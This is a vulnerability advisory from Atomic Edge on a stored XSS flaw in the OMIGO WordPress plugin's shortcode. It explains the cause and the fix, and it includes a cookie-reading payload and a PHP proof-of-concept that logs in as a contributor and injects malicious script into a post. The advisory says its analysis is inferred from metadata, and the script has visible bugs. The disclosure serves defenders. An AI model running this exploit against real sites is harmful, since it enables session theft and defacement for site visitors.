Atomic Edge analysis of CVE-2026-1573 (metadata-based):
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the OMIGO WordPress plugin. The vulnerability exists in the plugin’s `omigo_donate_button` shortcode handler. Attackers with contributor-level privileges or higher can inject malicious scripts into posts or pages. These scripts execute when users view the compromised content.
Atomic Edge research indicates the root cause is insufficient input sanitization and output escaping on user-supplied shortcode attributes. The plugin likely processes shortcode attributes via the `add_shortcode()` function without applying proper sanitization functions like `sanitize_text_field()` or output escaping functions like `esc_attr()`. This inference aligns with CWE-79 patterns where user input flows directly into page generation without neutralization.
Exploitation requires an authenticated attacker with contributor privileges. The attacker creates or edits a post containing the `[omigo_donate_button]` shortcode with malicious attributes. A payload like `[omigo_donate_button custom_attribute=”onmouseover=alert(document.cookie)”]` would inject JavaScript. The plugin renders the attribute value without escaping, allowing script execution when users interact with the element.
Remediation requires implementing proper input validation and output escaping. The plugin should sanitize all shortcode attributes using WordPress core functions like `sanitize_text_field()` before processing. Output should be escaped with `esc_attr()` for HTML attributes and `wp_kses()` for any HTML content. WordPress shortcode API best practices mandate these security measures.
Successful exploitation allows attackers to steal session cookies, perform actions as authenticated users, or deface websites. The stored nature means a single injection affects all visitors to the compromised page. Contributor-level access is relatively easy to obtain in multi-author WordPress sites, increasing the practical risk.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-1573 - OMIGO <= 3.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode
<?php
$target_url = 'http://target-site.com/wp-login.php';
$username = 'contributor_user';
$password = 'contributor_pass';
$post_id = 123; // Target post ID to edit
// Initialize session
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
// Step 1: Authenticate
$login_data = array(
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
);
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
$response = curl_exec($ch);
// Step 2: Get edit page nonce (WordPress pattern)
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post.php?post=' . $post_id . '&action=edit');
curl_setopt($ch, CURLOPT_POST, false);
$response = curl_exec($ch);
// Extract nonce from response (simplified pattern)
preg_match('/name="_wpnonce" value="([a-f0-9]+)"/', $response, $matches);
$nonce = $matches[1] ?? '';
// Step 3: Inject malicious shortcode
$payload = '[omigo_donate_button custom_attr="onmouseover=alert(`XSS`)"]';
$update_data = array(
'post_ID' => $post_id,
'content' => 'Legitimate post content. ' . $payload,
'_wpnonce' => $nonce,
'_wp_http_referer' => '/wp-admin/post.php?post=' . $post_id . '&action=edit',
'save' => 'Update'
);
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($update_data));
$response = curl_exec($ch);
// Verify injection
curl_setopt($ch, CURLOPT_URL, $target_url . '/?p=' . $post_id);
curl_setopt($ch, CURLOPT_POST, false);
$response = curl_exec($ch);
if (strpos($response, 'onmouseover=alert(`XSS`)') !== false) {
echo "Exploit successful. Payload injected into post ID: $post_idn";
} else {
echo "Exploit may have failed. Check permissions and post status.n";
}
curl_close($ch);
?>
